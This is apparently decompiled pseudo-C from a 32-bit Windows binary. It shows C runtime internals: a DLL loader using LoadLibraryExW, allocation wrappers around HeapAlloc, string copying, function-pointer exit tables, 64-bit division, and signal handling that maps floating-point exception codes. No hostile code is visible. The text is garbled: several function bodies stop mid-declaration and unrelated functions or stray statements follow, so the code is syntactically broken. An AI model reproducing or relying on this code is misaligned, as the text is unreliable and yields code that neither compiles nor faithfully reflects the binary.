*reinterpret_cast<void***>(a2 + 12) = ecx14;
if (ebx13->f4)
continue;
fun_404470(ecx14, 0x101, v10, fun_404120, v12, v8, v7, v6, v4);
fun_404490(1);
}
g0 = v10;
return;
}
uint32_t fun_405e28(uint16_t* a1, uint16_t* a2, uint32_t a3, uint16_t* a4, int32_t a5, int32_t
a6);
int32_t FreeLibrary = 0x153e4;
edi4 = a2;
while (edi4 != a3) {
ebx5 = reinterpret_cast<uint32_t*>(*edi4 * 4 + 0x416b6c);
esi6 = *ebx5;
if (!esi6) {
eax7 = *reinterpret_cast<uint16_t**>(*edi4 * 4 + 0x40ebd0);
eax8 = reinterpret_cast<uint32_t>(LoadLibraryExW(eax7, 0, 0x800));
esi6 = eax8;
if (esi6)
goto addr_4042d9_5;
eax9 = reinterpret_cast<uint32_t>(GetLastError(eax7, 0, 0x800));
if (eax9 != 87)
goto addr_4042c5_7;
eax9 = fun_405e28(eax7, "a", 7, eax7, 0, 0x800);
if (!eax9)
goto addr_4042c5_7;
eax9 = reinterpret_cast<uint32_t>(LoadLibraryExW(eax7, 0, 0, eax7, 0, 0x800));
esi6 = eax9;
if (esi6)
goto addr_4042d9_5;
addr_4042c5_7:
*ebx5 = 0xffffffff;
} else {
if (esi6 != 0xffffffff)
goto addr_4042e8_11;
}
++edi4;
}
eax10 = 0;
addr_4042d4_15:
return eax10;
addr_4042d9_5:
tmp32_11 = *ebx5;
*ebx5 = esi6;
if (tmp32_11) {
FreeLibrary(esi6, eax7, 0, 0x800);
}
addr_4042e8_11:
eax10 = esi6;
goto addr_4042d4_15;
}
uint32_t fun_405e28(uint16_t* a1, uint16_t* a2, uint32_t a3, uint16_t* a4, int32_t a5, int32_t a6)
{
uint32_t eax7;
uint16_t* ecx8;
uint16_t* edx9;
uint32_t esi10;
eax7 = a3;
if (eax7) {
ecx8 = a2;
edx9 = a1;
while ((--eax7, !!eax7) && ((esi10 = *edx9, !!*reinterpret_cast<uint16_t*>(&esi10)) &&
*reinterpret_cast<uint16_t*>(&esi10) == *ecx8)) {
++edx9;
++ecx8;
}
return *edx9 - *ecx8;
} else {
return eax7;
}
}
uint32_t fun_404a14(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** ebx6;
void** esi7;
void** eax8;
int32_t edx9;
int32_t edx10;
uint32_t eax11;
void** edx12;
void** ebp13;
void** eax14;
if (a2) {
if (!reinterpret_cast<int1_t>(a3 == 1) || (fun_40636d(ecx,
reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 0xfffffff8, ebx6, esi7), eax8 =
fun_40c9d0(0x2ac18000, 0xfe624e21, 0x989680, 0), edx9 >= 7) && (edx10 > 7 ||
reinterpret_cast<unsigned char>(eax8) > reinterpret_cast<unsigned char>(0x93406fff))) {
addr_404a33_3:
eax11 = 0;
} else {
*reinterpret_cast<void***>(a2) = eax8;
*reinterpret_cast<void***>(a2 + 4) = edx12;
eax11 = 1;
*reinterpret_cast<void***>(a2 + 8) = reinterpret_cast<void**>(0xb3960000);
}
return eax11;
} else {
eax14 = fun_4060e8(ecx, esi7, ecx, ecx, ebp13, __return_address(), a2, a3, a4, a5);
*reinterpret_cast<void***>(eax14) = reinterpret_cast<void**>(22);
fun_40602c(ecx, esi7, ecx, ecx, ebp13);
goto addr_404a33_3;
}
}
void** fun_4069e2(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11);
void** fun_4060e8(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10) {
void** eax11;
eax11 = fun_4069e2(ecx, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10);
if (eax11) {
return eax11 + 16;
} else {
return 0x416050;
}
}
void** fun_405fb1(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11);
void** fun_40602c(void** ecx, void** a2, void** a3, void** a4, void** a5) {
int32_t v6;
void** eax7;
v6 = reinterpret_cast<int32_t>(__return_address());
eax7 = fun_405fb1(ecx, 0, 0, 0, 0, 0, *reinterpret_cast<void***>(&v6), a2, a3, a4, a5);
return eax7;
}
void** fun_4060fb(int32_t a1, void** a2, void*** a3, void*** a4, void** a5);
edi5 = 0;
ebp6 = 0;
if (__intrinsic()) {
edi5 = 1;
ebp6 = 1;
eax7 = -a2;
a2 = eax7 - reinterpret_cast<uint1_t>(eax7 <
static_cast<uint32_t>(reinterpret_cast<uint1_t>(!!a1)));
a1 = -a1;
}
eax8 = a4;
if (__intrinsic()) {
++edi5;
eax9 = -eax8;
eax8 = eax9 - reinterpret_cast<uint1_t>(eax9 <
static_cast<uint32_t>(reinterpret_cast<uint1_t>(!!a3)));
a4 = eax8;
a3 = -a3;
}
if (eax8) {
ebx10 = eax8;
ecx11 = a3;
eax12 = a1;
do {
ebx10 = ebx10 >> 1;
__asm__("rcr ecx, 1");
__asm__("rcr eax, 1");
} while (ebx10);
eax13 = reinterpret_cast<void**>(eax12 / ecx11);
esi14 = eax13;
tmp32_15 = __intrinsic() + reinterpret_cast<unsigned char>(eax13) * a4;
if (tmp32_15 < __intrinsic())
goto addr_40ca78_9;
if (tmp32_15 > a2)
goto addr_40ca78_9;
if (tmp32_15 < a2)
goto addr_40ca81_12;
if (a3 * reinterpret_cast<unsigned char>(esi14) <= a1)
goto addr_40ca81_12;
} else {
esi14 = reinterpret_cast<void**>(a1 / a3);
goto addr_40ca83_15;
}
addr_40ca78_9:
--esi14;
addr_40ca81_12:
addr_40ca83_15:
if (ebp6 - 1 < 0) {
}
eax16 = esi14;
if (!(edi5 - 1)) {
eax16 = reinterpret_cast<void**>(-reinterpret_cast<unsigned char>(eax16));
}
return eax16;
}
struct s20 {
void** f0;
signed char[7] pad8;
void** f8;
};
void** fun_404ad5(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
void** v8;
void** ebp9;
void*** ebp10;
void** v11;
uint32_t eax12;
void** v13;
void** esi14;
void** eax15;
void** esi16;
void** eax17;
void** edx18;
void** ecx19;
void** eax20;
void** edi21;
void** edi22;
struct s20* eax23;
struct s20* edx24;
void** ebx25;
v7 = reinterpret_cast<void**>(__return_address());
v8 = ebp9;
ebp10 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
v11 = ecx;
eax12 = g416004;
v13 = reinterpret_cast<void**>(eax12 ^ reinterpret_cast<uint32_t>(ebp10));
eax15 = fun_4069e2(ecx, esi14, v11, v13, v8, v7, a2, a3, a4, a5, a6);
esi16 = eax15;
if (!esi16) {
addr_404c39_2:
eax17 = fun_402f62(reinterpret_cast<unsigned char>(v13) ^
reinterpret_cast<uint32_t>(ebp10), v11, v13, v8, v7, a2, a3, a4);
return eax17;
} else {
edx18 = *reinterpret_cast<void***>(esi16);
ecx19 = edx18;
eax20 = edx18 + 0x90;
if (edx18 == eax20) {
addr_404b16_4:
ecx19 = reinterpret_cast<void**>(0);
} else {
edi21 = a2;
do {
if (*reinterpret_cast<void***>(ecx19) == edi21)
break;
ecx19 = ecx19 + 12;
} while (ecx19 != eax20);
goto addr_404b16_4;
}
if (!(!ecx19 || (edi22 = *reinterpret_cast<void***>(ecx19 + 8), !edi22))) {
if (!reinterpret_cast<int1_t>(edi22 == 5)) {
if (edi22 == 1) {
addr_404c34_12:
} else {
v11 = *reinterpret_cast<void***>(esi16 + 4);
*reinterpret_cast<void***>(esi16 + 4) = a3;
if (!reinterpret_cast<int1_t>(*reinterpret_cast<void***>(ecx19 + 4) == 8)) {
*reinterpret_cast<void***>(ecx19 + 8) = reinterpret_cast<void**>(0);
image_base_(edi22);
edi22(edi22);
goto addr_404c2d_15;
} else {
eax23 = reinterpret_cast<struct s20*>(edx18 + 36);
edx24 = eax23 + 12;
while (eax23 != edx24) {
eax23->f8 = reinterpret_cast<void**>(0);
eax23 = reinterpret_cast<struct s20*>(reinterpret_cast<uint32_t>(eax23) +
12);
}
ebx25 = *reinterpret_cast<void***>(esi16 + 8);
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(ecx19)) >
reinterpret_cast<unsigned char>(0xc0000091))
goto addr_404bc6_20; else
goto addr_404b77_21;
}
}
} else {
*reinterpret_cast<void***>(ecx19 + 8) = reinterpret_cast<void**>(0);
}
}
}
goto addr_404c39_2;
addr_404c2d_15:
*reinterpret_cast<void***>(esi16 + 4) = v11;
goto addr_404c34_12;
addr_404bc6_20:
if (*reinterpret_cast<void***>(ecx19) == 0xc0000092) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x8a);
} else {
if (*reinterpret_cast<void***>(ecx19) == 0xc0000093) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x85);
} else {
if (*reinterpret_cast<void***>(ecx19) == 0xc00002b4) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x8e);
} else {
if (reinterpret_cast<int1_t>(*reinterpret_cast<void***>(ecx19) == 0xc00002b5)) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x8d);
}
}
}
}
addr_404c08_31:
image_base_(edi22);
edi22(edi22);
*reinterpret_cast<void***>(esi16 + 8) = ebx25;
goto addr_404c2d_15;
addr_404b77_21:
if (*reinterpret_cast<void***>(ecx19) == 0xc0000091) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x84);
goto addr_404c08_31;
} else {
if (*reinterpret_cast<void***>(ecx19) == 0xc000008d) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x82);
goto addr_404c08_31;
} else {
if (*reinterpret_cast<void***>(ecx19) == 0xc000008e) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x83);
goto addr_404c08_31;
} else {
if (*reinterpret_cast<void***>(ecx19) == 0xc000008f) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x86);
goto addr_404c08_31;
} else {
if (reinterpret_cast<int1_t>(*reinterpret_cast<void***>(ecx19) == 0xc0000090)) {
*reinterpret_cast<void***>(esi16 + 8) = reinterpret_cast<void**>(0x81);
goto addr_404c08_31;
}
}
}
}
}
}
eax2 = g416004;
eax3 = eax2 ^ reinterpret_cast<unsigned char>(g416b94);
__asm__("ror eax, cl");
eax4 = -eax3;
eax5 = reinterpret_cast<int32_t>(-(eax4 - (eax4 + reinterpret_cast<uint1_t>(eax4 < eax4 +
reinterpret_cast<uint1_t>(!!eax3)))));
return *reinterpret_cast<signed char*>(&eax5);
}
void** fun_406be9(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);
void** fun_404fdd(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** v9;
void** ecx10;
void*** esi11;
void** eax12;
void** v13;
void** edi14;
void** esi15;
void** ebp16;
void** eax17;
v9 = reinterpret_cast<void**>(__return_address());
if (reinterpret_cast<unsigned char>(a1) < reinterpret_cast<unsigned char>(0x3fffffff)) {
if (reinterpret_cast<unsigned char>(a2) >= reinterpret_cast<unsigned char>(-1 /
reinterpret_cast<unsigned char>(a3)) || (ecx10 =
reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a2) * reinterpret_cast<unsigned
char>(a3)), esi11 = reinterpret_cast<void***>(reinterpret_cast<unsigned char>(a1) << 2),
reinterpret_cast<unsigned char>(-1 - reinterpret_cast<uint32_t>(esi11)) <=
reinterpret_cast<unsigned char>(ecx10))) {
eax12 = reinterpret_cast<void**>(0);
} else {
v13 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx10) +
reinterpret_cast<uint32_t>(esi11));
eax17 = fun_406be9(ecx10, v13, 1, edi14, esi15, ebp16, v9, a1);
fun_406c46(ecx10, 0, v13, 1, edi14, esi15, ebp16, v9, a1, a2, a3, a4, a5, a6, a7, a8);
eax12 = eax17;
}
} else {
eax12 = reinterpret_cast<void**>(0);
}
return eax12;
}
void** fun_4056fb(void** ecx, void** a2, void** a3, void** a4, void** a5);
void** fun_4088ef(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6);
void** fun_406be9(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** v9;
void** v10;
void** ebp11;
void** v12;
void** esi13;
void** esi14;
void** v15;
int32_t eax16;
void** eax17;
void** eax18;
void** eax19;
v9 = reinterpret_cast<void**>(__return_address());
v10 = ebp11;
v12 = esi13;
if (!a2 || reinterpret_cast<unsigned char>(0xe0 / reinterpret_cast<unsigned char>(a2)) >=
reinterpret_cast<unsigned char>(a3)) {
esi14 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a2) *
reinterpret_cast<unsigned char>(a3));
if (!esi14) {
++esi14;
}
do {
v15 = g417250;
eax16 = reinterpret_cast<int32_t>(HeapAlloc(ecx, v15, 8, esi14));
if (eax16)
break;
eax17 = fun_4056fb(ecx, v15, 8, esi14, v12);
} while (eax17 && (eax18 = fun_4088ef(ecx, esi14, v15, 8, esi14, v12), ecx = esi14,
!!eax18));
goto addr_406c36_6;
} else {
addr_406c36_6:
eax19 = fun_4060e8(ecx, v12, v10, v9, a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax19) = reinterpret_cast<void**>(12);
goto addr_406c43_7;
}
addr_406c43_7:
goto v9;
}
void** fun_406aad(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
void** v8;
void** v9;
void** ebp10;
void** edx11;
void** v12;
void** esi13;
void** eax14;
void** v15;
void** edi16;
void* esi17;
uint32_t eax18;
void** esi19;
v8 = reinterpret_cast<void**>(__return_address());
v9 = ebp10;
edx11 = a2;
v12 = esi13;
if (!edx11 || (ecx = a3, ecx == 0)) {
addr_406acd_2:
eax14 = fun_4060e8(ecx, v12, v9, v8, a2, a3, a4, a5, a6, a7);
v15 = reinterpret_cast<void**>(22);
} else {
if (a4) {
edi16 = edx11;
esi17 = reinterpret_cast<void*>(reinterpret_cast<unsigned char>(a4) -
reinterpret_cast<unsigned char>(edx11));
do {
eax18 = *reinterpret_cast<uint16_t*>(reinterpret_cast<uint32_t>(esi17) +
reinterpret_cast<unsigned char>(edi16));
*reinterpret_cast<void***>(edi16) = *reinterpret_cast<void***>(&eax18);
edi16 = edi16 + 2;
if (!*reinterpret_cast<void***>(&eax18))
break;
--ecx;
} while (ecx);
if (ecx)
goto addr_406b0d_8; else
goto addr_406aff_9;
} else {
*reinterpret_cast<void***>(edx11) = reinterpret_cast<void**>(0);
goto addr_406acd_2;
}
}
addr_406ad4_11:
esi19 = v15;
*reinterpret_cast<void***>(eax14) = esi19;
fun_40602c(ecx, v12, v9, v8, a2);
addr_406adc_12:
return esi19;
addr_406b0d_8:
esi19 = reinterpret_cast<void**>(0);
goto addr_406adc_12;
addr_406aff_9:
*reinterpret_cast<void***>(edx11) = reinterpret_cast<void**>(0);
eax14 = fun_4060e8(ecx, v12, v9, v8, a2, a3, a4, a5, a6, a7);
v15 = reinterpret_cast<void**>(34);
goto addr_406ad4_11;
}
void** fun_406c46(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16) {
void** v17;
void** eax18;
void** esi19;
void** ebp20;
void** eax21;
void** eax22;
void** fun_4051ba(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** v6;
void** v7;
void** ebp8;
void*** ebp9;
uint32_t eax10;
void** v11;
void** esi12;
void** edi13;
void** eax14;
v6 = reinterpret_cast<void**>(__return_address());
v7 = ebp8;
ebp9 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax10 = g416004;
v11 = reinterpret_cast<void**>(eax10 ^ reinterpret_cast<uint32_t>(ebp9));
esi12 = ecx;
edi13 = esi12 + 4;
while (esi12 != edi13) {
image_base_(a2);
a2(a2);
esi12 = esi12 + 4;
}
eax14 = fun_402f62(reinterpret_cast<unsigned char>(v11) ^
reinterpret_cast<uint32_t>(ebp9), v11, v7, v6, a2, a3, a4, a5);
return eax14;
}
void** fun_40518b(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void** v12;
void** v13;
void** ebp14;
int32_t v15;
int32_t esi16;
void** esi17;
void** eax18;
void** v19;
void** edi20;
void** edi21;
void** v22;
void** eax23;
v12 = reinterpret_cast<void**>(__return_address());
v13 = ebp14;
v15 = esi16;
esi17 = a2;
if (esi17) {
eax18 = *reinterpret_cast<void***>(esi17);
v19 = edi20;
edi21 = esi17;
while (eax18) {
v22 = eax18;
fun_406c46(ecx, v22, v19, *reinterpret_cast<void***>(&v15), v13, v12, a2, a3, a4, a5,
a6, a7, a8, a9, a10, a11);
edi21 = edi21 + 4;
eax18 = *reinterpret_cast<void***>(edi21);
ecx = v22;
}
eax23 = fun_406c46(ecx, esi17, v19, *reinterpret_cast<void***>(&v15), v13, v12, a2, a3,
a4, a5, a6, a7, a8, a9, a10, a11);
}
return eax23;
}
void** fun_4051fa(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);
void** fun_405215(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);
void** g416db0;
void** fun_405230(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** v9;
void** v10;
void** eax11;
void** fun_4052b2(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
void** v8;
void** ebp9;
void*** ebp10;
void** v11;
uint32_t eax12;
void** v13;
void** esi14;
uint32_t edi15;
uint32_t ebx16;
int32_t ebx17;
int32_t ebx18;
uint32_t ebx19;
int32_t ebx20;
void** eax21;
void** eax22;
v7 = reinterpret_cast<void**>(__return_address());
v8 = ebp9;
ebp10 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
v11 = ecx;
eax12 = g416004;
v13 = reinterpret_cast<void**>(eax12 ^ reinterpret_cast<uint32_t>(ebp10));
esi14 = a2;
edi15 = 0;
ebx16 = ~(ebx17 - (ebx18 + reinterpret_cast<uint1_t>(ebx19 < ebx20 +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(a3) < reinterpret_cast<unsigned
char>(esi14))))) & reinterpret_cast<unsigned char>(a3) - reinterpret_cast<unsigned
char>(esi14) + 3 >> 2;
if (ebx16) {
do {
eax21 = *reinterpret_cast<void***>(esi14);
v11 = eax21;
if (eax21) {
image_base_(eax21);
v11(eax21);
}
esi14 = esi14 + 4;
++edi15;
} while (edi15 != ebx16);
}
eax22 = fun_402f62(reinterpret_cast<unsigned char>(v13) ^
reinterpret_cast<uint32_t>(ebp10), v11, v13, v8, v7, a2, a3, a4);
return eax22;
}
struct s21 {
int16_t f0;
signed char[58] pad60;
int32_t f3c;
};
struct s22 {
int32_t f0;
signed char[20] pad24;
int16_t f18;
signed char[90] pad116;
uint32_t f74;
};
void** fun_405504(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void*** ebp6;
uint32_t eax7;
void** v8;
void** v9;
int32_t eax10;
void** eax11;
void** ebp12;
void** eax13;
signed char fun_40652f(void** ecx, void** a2, void** a3, void** a4);
struct s23 {
signed char[104] pad104;
uint32_t f68;
};
struct s24 {
int32_t f0;
signed char[20] pad24;
int16_t f18;
signed char[90] pad116;
uint32_t f74;
};
eax3 = 0;
*reinterpret_cast<unsigned char*>(&eax3) = reinterpret_cast<uint1_t>(a2 == 0xe06d7363);
return eax3;
}
void fun_40556e(void** a1, void** a2, void** a3, void** a4, void** a5) {
g416dbc = a1;
return;
}
void** fun_404c5d(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** eax6;
EnterCriticalSection();
goto ebp3;
}
void** fun_408464(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9);
void** fun_408728(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** eax7;
void** edi8;
void** edi9;
void** esi10;
void** ebp11;
if (!a3 || !a2) {
eax7 = reinterpret_cast<void**>(0);
} else {
edi8 = *reinterpret_cast<void***>(a2);
if (edi8 != a3 && ((*reinterpret_cast<void***>(a2) = a3, fun_4083e7(ecx, a3), !!edi8) &&
((fun_408630(a3, edi8), !*reinterpret_cast<void***>(edi8 + 12)) && edi8 != 0x416580))) {
fun_408464(edi8, edi8, edi9, esi10, ebp11, __return_address(), a2, a3, a4);
}
eax7 = a3;
}
return eax7;
}
void fun_4038f0(void** ecx, void** a2, void** a3, void** a4, void** a5) {
int32_t ebp6;
int32_t* esp7;
void* ebp8;
g0 = *reinterpret_cast<void***>(ebp6 - 16);
esp7 = reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(ebp8) + 4 - 4);
*esp7 = reinterpret_cast<int32_t>(__return_address());
goto *esp7;
}
void** fun_409c17(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);
void** fun_409c4a(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11);
void** fun_408778(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31, void**
a32, void** a33) {
void** edi34;
void** edi35;
void** ebx36;
void** esi37;
void** ebp38;
void** eax39;
void** esi40;
void** eax41;
void** eax42;
void** eax43;
struct s25 {
signed char[8] pad8;
void** f8;
};
void fun_408c8c();
void fun_40cb00(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7);
void** fun_408ac3(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11);
int32_t g40ed7c = 3;
int32_t g40ed80 = 9;
void fun_408acc(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
void** v10;
void** ebx11;
int32_t ebp12;
int32_t ebp13;
int32_t ebp14;
void** esi15;
struct s25* ebp16;
void** eax17;
int32_t ebp18;
void** v19;
void** eax20;
void** eax21;
int32_t ebp22;
void** eax23;
void** eax24;
int32_t ebp25;
int32_t ebp26;
int32_t ebp27;
int32_t ebp28;
int32_t ebp29;
int32_t ebp30;
uint32_t edx31;
int32_t ebp32;
uint32_t edx33;
int32_t ebp34;
int32_t ebp35;
int32_t edx36;
int32_t ebp37;
int32_t ebp38;
int32_t ebp39;
int32_t ebp40;
void** v41;
int32_t ecx42;
int32_t ebp43;
int32_t ebp44;
void** eax45;
int32_t ecx46;
int32_t ebp47;
int32_t ebp48;
int32_t ebp49;
void** eax50;
int32_t ebp51;
int32_t ebp52;
void** eax53;
int32_t ebp54;
void** eax55;
void** eax56;
int32_t ebp57;
void* eax58;
void** eax59;
void* ecx60;
int32_t ebp61;
void** eax62;
v10 = reinterpret_cast<void**>(__return_address());
fun_40cab0(0x414aa8, 44, v10);
ebx11 = reinterpret_cast<void**>(0);
*reinterpret_cast<void***>(ebp12 - 44) = reinterpret_cast<void**>(0);
*reinterpret_cast<uint32_t*>(ebp13 - 52) = 0;
*reinterpret_cast<unsigned char*>(&ecx) = 1;
*reinterpret_cast<unsigned char*>(ebp14 - 29) = 1;
esi15 = ebp16->f8;
if (reinterpret_cast<signed char>(esi15) > reinterpret_cast<signed char>(8)) {
if (esi15 == 11) {
addr_408b26_3:
eax17 = fun_4069e2(ecx, 0x414aa8, 44, v10, a2, a3, a4, a5, a6, a7, a8);
ebx11 = eax17;
*reinterpret_cast<void***>(ebp18 - 44) = ebx11;
if (ebx11) {
v19 = *reinterpret_cast<void***>(ebx11);
eax20 = fun_408a49(esi15, v19);
ecx = reinterpret_cast<void**>(0);
*reinterpret_cast<unsigned char*>(&ecx) = reinterpret_cast<uint1_t>(!!eax20);
if (ecx) {
eax21 = eax20 + 8;
*reinterpret_cast<unsigned char*>(&ecx) = 0;
*reinterpret_cast<unsigned char*>(ebp22 - 29) = 0;
} else {
addr_408b51_6:
eax23 = fun_4060e8(ecx, 0x414aa8, 44, v10, a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax23) = reinterpret_cast<void**>(22);
fun_40602c(ecx, 0x414aa8, 44, v10, a2);
goto addr_408b34_7;
}
} else {
addr_408b34_7:
goto addr_408cce_8;
}
} else {
if (esi15 == 15)
goto addr_408b1b_10;
if (reinterpret_cast<signed char>(esi15) <= reinterpret_cast<signed char>(20))
goto addr_408b51_6;
if (reinterpret_cast<signed char>(esi15) > reinterpret_cast<signed char>(22))
goto addr_408b51_6; else
goto addr_408b1b_10;
}
} else {
if (esi15 == 8)
goto addr_408b26_3;
eax24 = esi15 + 0xffffffff - 1;
if (!eax24)
goto addr_408b1b_10; else
goto addr_408af9_15;
}
addr_408b6b_16:
*reinterpret_cast<void***>(ebp25 - 40) = eax21;
*reinterpret_cast<uint32_t*>(ebp26 - 48) = 0;
if (*reinterpret_cast<unsigned char*>(&ecx)) {
fun_407a92(ecx, 3);
ecx = reinterpret_cast<void**>(3);
*reinterpret_cast<unsigned char*>(&ecx) = *reinterpret_cast<unsigned char*>(ebp27 - 29);
}
*reinterpret_cast<uint32_t*>(ebp28 - 36) = 0;
*reinterpret_cast<signed char*>(ebp29 - 30) = 0;
*reinterpret_cast<uint32_t*>(ebp30 - 4) = 0;
if (!*reinterpret_cast<unsigned char*>(&ecx)) {
edx31 = **reinterpret_cast<uint32_t**>(ebp32 - 40);
} else {
edx33 = g416004;
ecx = reinterpret_cast<void**>(edx33 & 31);
edx31 = edx33 ^ **reinterpret_cast<uint32_t**>(ebp32 - 40);
__asm__("ror edx, cl");
*reinterpret_cast<unsigned char*>(&ecx) = *reinterpret_cast<unsigned char*>(ebp34 - 29);
}
*reinterpret_cast<uint32_t*>(ebp35 - 36) = edx31;
edx36 = 0;
*reinterpret_cast<unsigned char*>(&edx36) = reinterpret_cast<uint1_t>(edx31 == 1);
*reinterpret_cast<int32_t*>(ebp37 - 56) = edx36;
*reinterpret_cast<unsigned char*>(ebp38 - 30) = *reinterpret_cast<unsigned char*>(&edx36);
if (*reinterpret_cast<unsigned char*>(&edx36)) {
addr_408c4f_22:
*reinterpret_cast<int32_t*>(ebp39 - 4) = -2;
fun_408c8c();
if (!*reinterpret_cast<signed char*>(ebp40 - 56)) {
if (!reinterpret_cast<int1_t>(esi15 == 8)) {
v41 = esi15;
ecx42 = *reinterpret_cast<int32_t*>(ebp43 - 36);
image_base_(ecx42);
*reinterpret_cast<int32_t*>(ebp44 - 36)(ecx42);
} else {
eax45 = fun_40695e(ecx, 0x414aa8, 44, v10, a2, a3, a4, a5, a6, a7, a8, a9);
v41 = *reinterpret_cast<void***>(eax45 + 8);
ecx46 = *reinterpret_cast<int32_t*>(ebp47 - 36);
image_base_(ecx46);
*reinterpret_cast<int32_t*>(ebp48 - 36)(ecx46);
}
ecx = v41;
if ((esi15 == 8 || (esi15 == 11 || reinterpret_cast<int1_t>(esi15 == 4))) &&
(*reinterpret_cast<void***>(ebx11 + 4) = *reinterpret_cast<void***>(ebp49 - 48),
reinterpret_cast<int1_t>(esi15 == 8))) {
eax50 = fun_40695e(ecx, 0x414aa8, 44, v10, a2, a3, a4, a5, a6, a7, a8, a9);
ecx = *reinterpret_cast<void***>(ebp51 - 52);
*reinterpret_cast<void***>(eax50 + 8) = ecx;
}
}
} else {
if (!edx31) {
if (*reinterpret_cast<unsigned char*>(&ecx)) {
fun_407ada(3);
ecx = reinterpret_cast<void**>(3);
}
fun_40559b(ecx, 3);
}
if (esi15 == 8)
goto addr_408bea_33;
if (esi15 == 11)
goto addr_408bea_33;
if (!reinterpret_cast<int1_t>(esi15 == 4))
goto addr_408c0d_36; else
goto addr_408bea_33;
}
addr_408cce_8:
fun_40cb00(ecx, 0x414aa8, 44, v10, a2, a3, a4);
goto 0x414aa8;
addr_408bea_33:
*reinterpret_cast<void***>(ebp52 - 48) = *reinterpret_cast<void***>(ebx11 + 4);
*reinterpret_cast<void***>(ebx11 + 4) = reinterpret_cast<void**>(0);
if (!reinterpret_cast<int1_t>(esi15 == 8))
goto addr_408c33_38;
eax53 = fun_408ac3(ecx, 0x414aa8, 44, v10, a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(ebp54 - 52) = *reinterpret_cast<void***>(eax53);
eax55 = fun_408ac3(ecx, 0x414aa8, 44, v10, a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax55) = reinterpret_cast<void**>(0x8c);
addr_408c0d_36:
if (!reinterpret_cast<int1_t>(esi15 == 8)) {
addr_408c33_38:
__asm__("ror eax, cl");
eax56 = reinterpret_cast<void**>(g416004);
ecx = *reinterpret_cast<void***>(ebp57 - 40);
*reinterpret_cast<void***>(ecx) = eax56;
goto addr_408c4f_22;
} else {
eax58 = reinterpret_cast<void*>(g40ed7c * 12);
eax59 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(eax58) +
reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(ebx11)));
ecx60 = reinterpret_cast<void*>(g40ed80 * 12);
ecx = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ecx60) +
reinterpret_cast<unsigned char>(eax59));
while (*reinterpret_cast<void***>(ebp61 - 60) = eax59, eax59 != ecx) {
*reinterpret_cast<void***>(eax59 + 8) = reinterpret_cast<void**>(0);
eax59 = eax59 + 12;
}
goto addr_408c4f_22;
}
addr_408b1b_10:
eax21 = fun_408a07(esi15);
goto addr_408b6b_16;
addr_408af9_15:
